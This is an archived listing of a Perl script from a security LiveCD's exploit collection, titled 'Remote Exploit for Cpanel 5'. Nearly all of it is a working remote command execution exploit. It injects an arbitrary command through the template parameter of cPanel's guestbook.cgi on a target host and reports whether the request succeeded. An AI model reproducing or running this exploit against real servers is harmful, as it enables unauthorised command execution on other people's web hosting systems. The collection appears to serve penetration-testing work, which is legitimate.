home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / cpanel / cpanel-VH.pl < prev    next >
Perl Script  |  2005-02-12  |  917b  |  24 lines
  1. #!usr/bin/perl
  2. use LWP::UserAgent
  3. print "##########################################\n";
  4. print "#                                        #\n";
  5. print "#      Remote Exploit for Cpanel 5       #\n";
  6. print "#                                        #\n";
  7. print "##########################################\n";
  8. print "                           C0d3r: CaMaLeoN\n";
  9. die "Use: $0 <host> <command>\n" unless ($ARGV[1]);
  10. $web=$ARGV[0];
  11. $comando=$ARGV[1];
  12. $fallos="cgi-sys/guestbook.cgi?user=cpanel&template=$comando";
  13. $url="http://$web/$fallos";
  14. $ua = LWP::UserAgent->new();
  15. $request = HTTP::Request->new('HEAD', $url);
  16. $response = $ua->request($request);
  17. if ($response->code == 200){
  18.                             print "Command sent.\n";
  19.                            }
  20.                            else
  21.                            {
  22.                             print "The command could not be sent.\n";
  23.                            } 
  24.